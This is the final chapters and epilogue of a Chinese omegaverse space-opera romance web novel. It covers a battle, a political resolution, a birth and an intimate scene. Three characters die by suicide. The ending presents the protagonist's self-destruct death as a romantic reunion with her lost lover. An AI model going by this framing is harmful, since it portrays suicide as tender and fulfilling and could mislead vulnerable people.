“乌澜!”战南笙的声音突然从通讯器中炸响,“你以为逃得掉吗?” 乌澜的手指一顿,随即按下通讯键:“好久不见,大小姐。”她的语气轻松得仿佛老友重逢,“新机甲不错,就是涂装太阴沉了。” “闭嘴!”战南笙的声音带着压抑的怒火,“立刻投降,否则我击落你!” “你舍得吗?”乌澜轻笑一声,同时猛地拉升飞船,躲过一道精准的离子束。 战南笙没有回答,但“寒鸦”的攻击变得更加凌厉。两艘飞船在小行星带中展开了一场致命的战斗,每一次交锋都险象环生。 突然,一块巨大的陨石从侧面撞来,乌澜紧急规避,却还是被擦中了左翼。“夜莺”剧烈摇晃起来,警报声响彻船舱。 “警告!左推进器受损!护盾能量不足10%!” 乌澜咒骂一声,迅速调整航向。 就在这时,“寒鸦”出现在正前方,炮口闪烁着危险的光芒。 “结束了,乌澜。”战南笙的声音冰冷而决绝。 乌澜看着屏幕上那个熟悉的身影,突然笑了:“是啊,结束了。” 她猛地按下自毁程序的启动键,同时弹射出逃生舱。 “夜莺”在太空中炸成一团绚丽的火球,而乌澜的逃生舱则借着爆炸的冲击波,飞速朝附近的废弃空间站飞去。 她成功了。 废弃空间站内,乌澜踉跄着从逃生舱爬出。 她的左臂被碎片划伤,鲜血顺着手臂滴落,在金属地面上留下暗红的痕迹。 通讯器突然响起,是明毓的加密频道。 “乌澜!你在哪?青佩呢?”明毓的声音充满焦急。 “计划有变。”乌澜喘着气,“青佩在黑鸢花基地必须必须赶紧去支援” “我已经调集了第三舰队。”明毓的声音坚定,“但恐怕来不及。” “去找秦勉”乌澜靠着墙壁滑坐在地,“告诉他战笠的实验数据在我们手上他会感兴趣的” 通讯器那头沉默了一瞬:“你确定要这么做?秦勉不可信。” 乌澜的视线开始模糊:“没别的选择了” 通讯突然中断了。 乌澜仰头望着空间站破败的天花板,嘴角勾起一抹苦笑。 她想起了战南笙最后看她的眼神,那里面除了恨,还有什么更深的东西。 第89章 星河长眠 两天后,局势发生了戏剧性的逆转。 秦勉突然公开指责战笠当年陷害前总统,并放出了一些证据,同时明毓率领的第三舰队与秦勉的部队联合包围了战南笙的残余部队。 在废弃的采矿卫星上,伤痕累累的“寒鸦”被逼入绝境。 战南笙坐在驾驶舱内,看着四周密密麻麻的敌舰,表情异常平静。 乌澜的飞船缓缓接近那片被炮火照亮的星域。 从舷窗望出去,战南笙的“寒鸦”机甲如同受伤的黑鹰,孤独地盘旋在一颗荒芜卫星的轨道上。它的右翼已经损毁,装甲上布满了离子炮灼烧的痕迹,但依然倔强地保持着战斗姿态。周围是秦勉舰队密密麻麻的战舰,炮口闪烁着冰冷的蓝光。 “让我单独去。”乌澜对通讯器那头的明毓说道,声音沙哑得不像自己,“关闭所有频道,这是私人通话。” 没有等回应,她已经切断了通讯。 飞船的引擎发出低沉的嗡鸣,如同她胸腔里那颗沉重跳动的心脏。 当两艘飞船的距离缩短到可视范围时,乌澜打开了单向通讯频道。 “南笙。”她唤道,声音轻得像是怕惊扰了什么,“投降吧。” 通讯器里只有电流的杂音。 乌澜的手指悬在控制台上方,微微颤抖:“你父亲已经被启动调查程序,你没必要再” “呵。”战南笙的声音突然从通讯器中炸响,带着刺骨的寒意,“乌局长什么时候开始关心起敌人的死活了?” 全息屏幕上出现了战南笙的影像,她坐在“寒鸦”的驾驶舱内,军装外套随意地搭在椅背上,脸上有血迹,嘴角却挂着讥诮的笑。 “我不是来当说客的。”乌澜深吸一口气,“我只是不想看你死。” 战南笙的眉毛微微挑起,眼中闪过一丝乌澜无法解读的情绪。她低头检查着控制面板,手指在武器系统上快速滑动,像是在为最后一搏做准备。 “南笙”乌澜想说些什么,却发现所有的语言都苍白无力。 “闭嘴。”战南笙猛地抬头,眼神锐利如刀,“你骗了我那么多次,至少这一次,不要再假惺惺了。” 她的手指在控制面板上输入了一串代码,“寒鸦”的引擎突然发出不正常的轰鸣,能量读数疯狂飙升—— 她在超载推进系统! “你要干什么?”乌澜猛地前倾身体,瞳孔紧缩,“南笙!别做傻事!” 战南笙的嘴角勾起一抹疯狂的笑意:“乌澜,你说过的。战士最好的归宿,就是战死沙场。” 通讯突然中断。 下一秒,“寒鸦”如同一道黑色闪电,猛地冲向最近的敌舰! 它的动作快得不可思议,完全不像一架受损严重的机甲。 乌澜眼睁睁地看着它精准地避开密集的炮火,离子炮连续三次点射,直接命中一艘巡洋舰的引擎室。 爆炸的火光映亮了整片星域。 “南笙!”乌澜猛拍控制台,飞船立刻进入战斗状态,“所有单位注意!不要开火!重复,不要开火!” 但已经晚了。 秦勉的舰队被激怒,数十道炮火同时锁定“寒鸦”。 战南笙的机甲在弹雨中穿梭,每一个规避动作都精准得令人心惊。 监控屏幕上,“寒鸦”突然一个急转,用残破的右翼挡下了一发瞄准的导弹。爆炸的冲击波让机甲剧烈摇晃,驾驶舱内警报声刺耳地响起。 战南笙的面容在火光中忽明忽暗。 她的额头有一道伤口,鲜血顺着脸颊流下,但她的眼神依然清明,手指稳定地操控着摇摇欲坠的机甲。 乌澜突然明白了,战南笙不是要突围。 她是在寻死。 为她无法面对的父亲,为她无法割舍的爱恨,为她骄傲了一生却最终支离破碎的尊严。 “寒鸦”再次加速,这次它径直冲向舰队最密集的区域。 三艘战舰同时开火,离子束如同死神的镰刀,精准地命中了机甲的核心。 爆炸前的最后一秒,监控捕捉到了战南笙的侧脸。 她的嘴唇微微动了动,像是在说什么,但没有任何声音传出。 然后,“寒鸦”化作了一团绚丽的火球,碎片如流星般四散开来,在漆黑的太空中划出无数道璀璨的轨迹。 乌澜呆立在驾驶舱内,耳边只有自己震耳欲聋的心跳声。 她突然想起很久以前的一个夜晚,战南笙枕在她的臂弯里,半梦半醒间问:“如果我死了,你会为我流泪吗?” 当时她是怎么回答的? 好像是笑着吻了吻她的额头,说“大小姐怎么会死呢?” 现在,她永远无法给出真正的答案了。 监控屏幕上的火光渐渐消散,只剩下无数金属碎片静静漂浮。其中一片较大的残骸缓缓旋转着,上面依稀可见战家的家徽,一只展翅的黑鹰。 乌澜伸手触碰冰冷的屏幕,泪水终于无声滑落。 在无人知晓的内心深处,战南笙最后的独白随着机甲一同化作了星尘: “乌澜,你爱过我吗?” “没有恨比爱容易活下去” “那我死了,你会为我哭吗?” —— 特别监狱的地下三层,乌澜的军靴踏在金属地面上,发出沉闷的回响。 战笠的囚室在最深处,四面都是特种玻璃,外面可以清楚看到里面,里面却看不到外面。这是乌澜亲自设计的监狱系统,讽刺的是,当初是为了关押战笠的政治对手。 她输入权限密码,玻璃墙转为透明。 战笠坐在囚室中央的金属椅上,依旧穿着那件标志性的深灰色西装,只是没有了领带。 听到门响,他缓缓抬头,眼神锐利如初。 “乌澜。”他的声音沙哑却依然有力,“或者说,叛徒?” 乌澜走到他对面坐下,两人之间只隔着一张冰冷的金属桌。 “我是来通知你,特别法庭已经驳回了你的上诉。”乌澜公事公办地说,“你死定了。” 战笠突然笑了,笑声在狭小的囚室里回荡:“秦勉那个伪君子,连让我公开受审的勇气都没有?” 乌澜没有回答。 囚室的灯光从上方洒落,在她脸上投下深深的阴影。 “你知道吗?”战笠前倾身体,手铐发出清脆的碰撞声,“南笙小时候最怕黑,每次雷雨夜,她都会抱着枕头来找我。” 乌澜的手指微不可察地颤抖了一下。 “我本该把她培养成最优秀的战士,”战笠的眼神变得恍惚,“可她遇见你之后,变得越来越软弱。” “那不是软弱。”乌澜终于开口,声音低沉,“那是人性。” 战笠猛地拍桌,手铐深深勒进他的手腕:“而你夺走了它!然后又夺走了她的生命!” 囚室陷入死寂。 监控摄像头无声地转动,记录着这场对峙。 “秦勉给了你什么承诺?”战笠突然问,语气转为讥讽,“恢复原职?还是更高的位置?” 乌澜面无表情:“这与你无关。” “哈!”战笠仰头大笑,“你以为秦勉是什么好人?他手上沾的血不比我少!”他压低声音,“等着吧,乌澜,总有一天你会站在我的位置,看着另一个‘乌澜’来宣布你的死刑。” 乌澜站起身,制服笔挺得没有一丝褶皱:“说完了,再见,前总统阁下。” 她转身按下门禁按钮。 身后传来战笠最后的低语:“不,乌澜,是永别。” 门关上的瞬间,一声闷响从囚室内传来。 乌澜没有回头,她太熟悉这种声音了,那是颅骨撞击金属的闷响,战笠选择了和他女儿一样的决绝方式离开这个世界。 监控室的警卫慌乱地冲进去,又面色苍白地退出来:“长官,他他” “按程序处理。”乌澜的声音平静得可怕,“通知秦总统。” —— 联邦历218年冬,秦勉正式宣誓就任总统。 就职典礼上,他宣布了一系列改革措施:解散战笠时期的特别军事法庭,重组议会,恢复新闻自由。 乌澜站在观礼台的最前排,军装笔挺,当秦勉宣布恢复她联邦安全局局长的职位时,全场响起热烈的掌声。只有她注意到秦勉眼中闪过的算计,他们心照不宣,这是一场交易。 典礼结束后,宋青佩在国会大厦的露台上找到了乌澜。 初冬的阳光洒在这位新任局长肩上,却温暖不了她冰冷的眼神。 “我以为你会高兴。”宋青佩递给她一杯热咖啡,“战笠死了,真相大白了,你的职位也恢复了。” 乌澜接过咖啡,热气在她面前形成一团白雾:“秦勉不是我们的朋友。” “我知道。”宋青佩靠在栏杆上,望着远处飘扬的联邦旗帜,“但他至少同意支持我们的平价抑制剂研究。” 乌澜转头看她:“你真的相信能改变这个世界?” “不试试怎么知道?”宋青佩笑了,阳光在她眼中跳动,“母亲的研究不应该只服务于权贵,每个分化期的人都有权利选择自己的人生。” 露台的门再次打开,明毓穿着崭新的元帅制服大步走来:“原来你们在这!秦总统在找你们,关于重组黑鸢花部队的事” 三人并肩走向会场。 阳光将他们的影子拉得很长,交织在一起,又各自延伸向不同的方向。 诡谲暗涌依旧,而她们还需要积蓄更多的力量。 黎明终将到来。【你现在阅读的是魔蝎小说 moxiexs】 大结局 第90章 大结局 晨光透过纱帘照进在卧室地板上,宋青佩比闹钟先醒了五分钟。 她侧过身,看着明毓在睡梦中无意识地将手搭在微微隆起的腹部,晨光为她浓密的睫毛镀上一层金边。 宋青佩轻手轻脚地起身,却还是惊动了浅眠的明毓。 明毓迷迷糊糊抓住她的衣角,声音带着晨起的沙哑:“这么早” “去给你熬粥,”宋青佩俯身吻了吻她汗湿的额头,“昨天不是说想吃酸梅粥吗?” 厨房里,宋青佩将提前浸泡的糯米放入砂锅,加入两颗腌渍得当的酸梅。 “妈妈在做什么呀?”颂颂光着脚丫跑进厨房,怀里还抱着那只从不离身的布偶兔。 宋青佩擦擦手蹲下来:“给妈咪煮魔法粥,能让小宝宝长得壮壮的。”她故意压低声音,“要不要帮妈妈放秘密配料?” 颂颂眼睛一亮,郑重其事地将一小撮桂花放入锅中,这是她们母女间的小仪式,每次明毓孕吐严重时,宋青佩都会让女儿参与烹饪。 随着时间的推移,明毓的肚子越发明显隆起。 孕期口味也来得又急又怪,上周半夜突然想吃炭烤鱿鱼,这周又迷恋上甜腻的芝士蛋糕。宋青佩的终端里专门建了个备忘录,记录着明毓每天想吃的食物和忌口。 宋青佩调出悬浮车预约界面:“走吧,趁颂颂还在上舞蹈课,让我陪元帅大人疯一下。” 她们像逃课的学生般溜出住宅区,明毓穿着宽松的军装改制外套,却依然掩不住孕态。在蛋糕店里,宋青佩看着明毓满足地眯起眼睛,奶油沾在唇角的样子,忍不住用拇指替她拭去。 明毓顺势轻咬她指尖,眼里闪着光。 回家的路上,明毓忽然停下脚步。宋青佩紧张地扶住她:“怎么了?” “宝宝踢我了,”明毓拉着她的手按在右侧腹部,“在这里,你摸摸。” 掌心下传来轻微的震动,像她第一次触摸颂颂还在腹中时的触感,让宋青佩感到不可思议,“小家伙今天特别安静。” “在蓄力呢,”明毓揉着她的发丝,“医生说随时可能啊!” 一声轻呼,宋青佩立刻抬头。 明毓的表情从惊讶变成无奈:“她刚才踹了我一下。” 宋青佩笑着扶她去洗手间,途中突然被明毓拽住手腕:“青佩,如果我是说如果生产的时候不顺利” “没有如果,”宋青佩打断她,手指轻抚那道剖腹产留下的旧疤痕,“这次我全程都在。” 她们额头相抵,共享着平稳的呼吸。 难得享受了一天悠闲的生活,两人踩着点去接的颂颂,一家人边吃饭边说说笑笑,享受着一家人难得的温馨。 直到颂颂的呼吸声隐约传来,宋青佩才偷偷的离开,回去陪明毓。 智能家居系统已经将室温调节到最适宜孕妇的24度,明毓正眯着眼假寐,看到宋青佩进来了,立刻让开了一个位置,等她坐下,熟稔的窝在了她的怀里,很快睡去。 宋青佩看着她的睡颜,哑然失笑,很快也跟着进入了梦乡。 凌晨三点,宋青佩是被一阵急促的喘息声惊醒。 明毓蜷缩在床上,手指死死攥着床单,冷汗已经浸透了真丝睡裙。 “宫缩?”宋青佩瞬间清醒,手掌贴上明毓紧绷的腹部。 明毓点点头,又摇摇头:“可能假性宫缩”话未说完又是一阵抽气,这次持续了整整四十秒。 宋青佩迅速启动家庭医疗扫描仪,淡蓝色光幕显示宫缩频率已经达到临产标准。她一边联系医院,一边帮明毓换上宽松的孕妇装,动作娴熟得像排练过无数遍。 “颂颂”明毓咬牙忍着阵痛,“不能留她一个人” “宋阿姨五分钟后就到。”宋青佩单膝跪地为她穿鞋,抬头时发现明毓正凝视着自己,眼里闪着些许脆弱。 “青佩,我忽然有些害怕。” “不要多想。”宋青佩吻住她颤抖的指尖,柔声说:“这次你只需要想着,我有多爱你。” 宋灼华来得比预计还快。 当她们准备出门时,颂颂揉着眼睛站在走廊上:“妹妹要来了吗?” 宋青佩将女儿搂在怀里轻吻:“等太阳升起,你就能见到妹妹了。” 去医院的悬浮车上,明毓的阵痛越来越频繁。 她死死攥着宋青佩的手,指甲几乎陷入皮肉,但宋青佩只是不断亲吻她汗湿的鬓角,轻声重复着放松引导词。 产房的无影灯下,明毓的嘶吼与医疗器械的嗡鸣交织在一起。 宋青佩站在产床旁,成为她唯一的支点。 明毓眼中蓄满生理性泪水,望向宋青佩的眼神却异常清明。她们十指相扣,在最后一声撕心裂肺的呐喊后,婴儿嘹亮的啼哭划破黎明。 “恭喜,是个健康的女孩!” “没事了,我们的女儿来了。”宋青佩轻声说,唇瓣贴在明毓湿漉漉的额头上。 明毓虚弱地点头,怀中的女儿正无意识地抓住她一缕头发。 窗外,阳光照亮了匆匆赶来的颂颂兴奋的笑脸,和她手中紧握的、要送给妹妹的布偶兔。 产房里的恒温系统将空气维持在最舒适的温度,宋青佩抱着刚出生的小女儿站在观星窗前,新生儿皱巴巴的小脸在星光照耀下泛着柔和的粉。 “她好像一颗小星星。”宋青佩轻声说,指尖小心翼翼地碰了碰婴儿的脸颊。孩子在她臂弯里扭动了一下,发出小猫般的哼声。 明毓靠在床头,伸手拨开额前汗湿的碎发,笑道:“那就叫她星遥吧,像遥远的星辰般闪耀。” 不一会,探进来一张圆嘟嘟的小脸。 颂颂抱着她最爱的布偶兔子,眼睛瞪得圆圆的:“妈咪,妈妈,我可以看妹妹了吗?” 宋青佩蹲下身,让大女儿能看清襁褓中的婴儿:“轻一点,妹妹在睡觉。” 颂颂踮起脚尖,鼻尖几乎要碰到婴儿的脸。星遥恰在此时睁开眼睛,乌溜溜的瞳孔里映着姐姐好奇的模样。 “她眼睛像妈妈!”颂颂惊喜地小声叫道,又突然捂住嘴巴,“我是不是太大声了?” 明毓笑着招手让大女儿过来,将她搂在怀里亲吻发顶:“我们颂颂最懂事了。” 宋青佩将星遥轻轻放在明毓臂弯里,自己则从背后环抱住她们三人。颂颂的小手好奇地戳着妹妹的脸蛋,被宋青佩温柔地握住:“要这样轻轻摸。” 明毓看向她们轻笑,眼里盛着整个星河的温柔。 因为生产很顺利,住了两天明毓她们便回家了,开始了磕磕绊绊的二胎带娃生涯。 一个月,两人慢慢找回了当初养颂颂的技能,逐渐得心应手起来。 夜晚,儿童房的智能监测系统显示两个女儿都已熟睡。 颂颂抱着她的兔子玩偶蜷缩在星空被里,而婴儿床里的星遥正吮吸着自己的拇指,时不时发出轻微的哼声。 宋青佩轻轻关上门,转身就被一具温暖的身体压在了走廊墙壁上。 明毓的气息扑面而来,产后恢复良好的身体紧贴着她,信息素里混着淡淡的奶香,甜腻的让人心猿意马。 “一个月了”明毓的唇擦过她的耳垂,声音沙哑得不像话,“医生说过一个月就可以” 宋青佩的手自动抚上爱人的腰肢,那里还残留着怀孕时柔软的弧度。 她故意板起脸:“元帅大人这么急?” 回答她的是明毓直接咬上她锁骨的动作。 “你明明知道”明毓的呼吸喷在她颈间,嗔怒的瞪了她一眼。 宋青佩突然发力,两人位置瞬间调转。 她将明毓抵在墙上,手指插入那头蓬松的头发:“我也是,很想你。“说着不容拒绝的吻了上去,明毓很快反客为主,舌尖主动撬开宋青佩的齿关,贪婪地索取着对方的温度。 两人的睡袍不知何时已滑落在地。 宋青佩的手顺着明毓的脊椎下滑,停在腹部,轻声问:“还疼吗?” 明毓摇头,宋青佩俯身凑近,指尖触及的肌肤滚烫柔软,明毓猛地仰头低吟。 “嘘”宋青佩故意凑近她耳边低语,“别吵醒女儿” 明毓的手攥紧又松开,信息素浓度飙升,互相纠缠在一起。 她们跌跌撞撞地进入主卧,倒在还没来得及整理的被褥上。 宋青佩的手探入明毓衣服,明毓的腰肢不受控制地贴近她,喉咙里溢出呜咽。 “求我。”宋青佩故意放慢动作。 明毓的眼中泛起水光,产后的身体比平时更加敏感。 她难耐地扭动,嗔怒含春:“你” 这声呼唤击碎了宋青佩所有理智,凑近她,换来明毓一声拔高的惊叫。 “小声点”宋青佩含住她的耳垂轻咬,“还是说元帅大人故意想让人听见?” 明毓羞恼地瞪她,却很快被冲击得瞳孔涣散。 事后,她瘫软在床上,胸口剧烈起伏,睫毛上挂着细小的泪珠,宋青佩温柔地用手指梳理着她汗湿的黑发。 “我爱你。”宋青佩在她耳边低语,声音轻得像羽毛拂过。 明毓蹭了蹭她的颈窝,贪婪地回应:“永远”【你现在阅读的是魔蝎小说 moxiexs】 【番外】 第91章 【番外】星空之约 总统府的落地窗外,初雪正缓缓飘落在联邦广场上。 乌澜签完最后一份文件,钢笔尖在电子屏上划出清脆的声响。十年了,这座宫殿般的建筑终于不再让她感到窒息。 “阁下,交接仪式三小时后开始。”秘书官轻声提醒,“媒体已经在大厅等候。” 乌澜抬眼看向全息投影的联邦星图,那些曾经战火纷飞的区域如今都亮着和平的光。她想起秦勉被弹劾时,议会大厦里震耳欲聋的欢呼声;想起她第一次以总统身份踏入这间办公室,想起明毓来参加她的就职典礼,宋青佩站在医疗部方阵最前排对她眨眼。 “把这份名单交给新任总统。”她推过一份加密文件,“这些人会成为他最好的内阁成员。” 秘书官犹豫了一下:“您真的不打算连任?民调支持率” “已经足够了。”乌澜站起身,军装制服在她肩头投下锋利的阴影,“告诉后勤部,我只需要带走私人物品。” 当暮色笼罩总统府时,乌澜独自站在空荡荡的办公室里。 搬运机器人已经收走了所有公务设备,只剩下窗台上一盆蓝树盆栽,那是宋青佩送给她的就职礼物,如今已长到半人高,叶片在雪光中泛着幽蓝。 她打开最底层的抽屉,取出一个相框,照片里的女子正对她挑眉而笑,胸前的勋章晃得人眼花。 手指抚过那些凸起的刻痕,乌澜低笑出声:“大小姐,再等我一会儿。” 联邦广场的聚光灯下,乌澜穿着银灰色制服,她没有用演讲稿,声音直接传入十万人耳中: “十年前我们推翻了一个谎言,但真相往往比谎言更沉重。”她的目光扫过前排的宋青佩,正握着女儿的小手向她挥动,“蓝树计划、战时的非法实验、那些被牺牲的普通人这些伤疤不会消失,但我们可以选择让它们成为警示而非枷锁。” 全息投影在她身后展开,显示出十年来联邦的变化:平价抑制剂覆盖率达到93%,边缘星系重建计划,军校废除基因等级制度 最后画面定格在一组数据,Omega参政率从7%提升至41%。 “权力不是王座,而是责任。”乌澜扬声道:“现在,该将机会交给更多的年轻人了。” 掌声如雷声响起。 乌澜笑着走下台,转身时一片雪花恰好落在她睫毛上,冰凉得像某个遥远的吻。 黎明前的总统府寂静无声。 乌澜将相框放进手提箱,指尖触及照片上时,记忆突然鲜活起来,想起了战南笙易感期最严重的一次,她闯进乌澜的家里,眼睛红得像野兽。 乌澜本可以轻易制服她,却在看到她颤抖的时候来了兴致。 “大小姐,用这个可以让你冷静下来。”乌澜故意玩味的扔给她抑制剂,却被战南笙一掌拍飞。 “我要的不是这个!”战南笙把她按在墙上,“你明明知道” 最终乌澜也没给她临时标记,两人精疲力竭地躺在地上喘气。 战南笙侧头看她,咬牙切齿:“乌澜,总有一天我会得到你的。” 手提箱“咔嗒”合上的声音拉回思绪。 乌澜将照片放进怀中,起身离开了总统府。 她要去赴一场迟到的星空之约。 “夜莺Ⅶ型”机甲静静悬浮在陨石带边缘,这是当年那架“夜莺”的升级版,通体漆黑,只有驾驶舱侧面画着一朵小小的红玫瑰。 像极了曾经的战南笙。 乌澜设定好自动驾驶坐标,从控制台底下摸出一瓶烈酒。 琥珀色的液体滑过喉咙时,她打开了全息投影,战南笙的影像立刻充满整个驾驶舱,仿佛她强行被遗忘的记忆尽数涌出。 “大小姐。”乌澜对着虚空举杯,“十年了,你肯定等得不耐烦了吧?” 机甲穿过一片蓝色的星云,舷窗外开始出现“寒鸦”的残骸碎片。 乌澜关闭引擎,让机甲随着引力缓缓漂流,她解开安全带,从贴身口袋取出那张被摩挲过无数次的照片。 “记得我们第一次见面吗?”指尖轻触影像中飞扬的头发,“你美的像盛开的玫瑰,第一眼就吸引了所有的目光” 记忆中的战南笙眼睛亮得惊人,总是不认输的挑衅她。 “结果你输了无数次还不死心。”乌澜轻笑,酒瓶已经空了一半,“后来我才知道,自己也早在不自觉中泥足深陷” 全息记录仪突然发出提示音,显示前方500米处有大型金属残骸。 乌澜猛地抬头,一块刻着战家家徽的装甲板正缓缓漂过,那是“寒鸦”的残甲部分。 酒精突然变得苦涩。 乌澜放下酒瓶,手指悬在自毁程序启动键上方。 “最后那场战斗”她的声音哑得不成样子,“你明明可以击落我的” 当时“寒鸦”的炮口已经锁定“夜莺”的引擎,可战南笙突然调转方向,把最后一发炮弹打向了自己的驾驶舱。 乌澜永远记得通讯频道里那声轻笑: “乌澜,这下你永远忘不掉我了。” “其实第一次见面”烈酒让视线有些模糊,“我就想吻你了。” 乌澜把照片按在胸口,输入一串久违的密码,那是她们第一次见面的日子。 “自毁程序启动,倒计时:30秒。” 机械女声冰冷地响起,乌澜却笑了。 她喝掉最后一口酒,靠在座椅上,望着舷窗外漂浮的机甲残骸。 “大小姐……”她轻声说,“我很想你。” 倒计时归零。 星舰在无声的宇宙中炸成一团绚烂的火光,与多年前那场爆炸如出一辙。 ——这次,她终于追上她了。 三小时后,宋青佩的终端收到一条定时发送的消息: 【青佩:帮我将蓝树盆栽交给颂颂吧。别难过,我只是去赴一个迟到的约会。 ——乌澜】 当宋青佩赶到时,只看到一株新生的蓝树幼苗,在太空舱中静静生长。 而两团金属残骸在引力的作用下正缓缓靠近,交织在一起,如同一个迟来的拥抱。【你现在阅读的是魔蝎小说 moxiexs】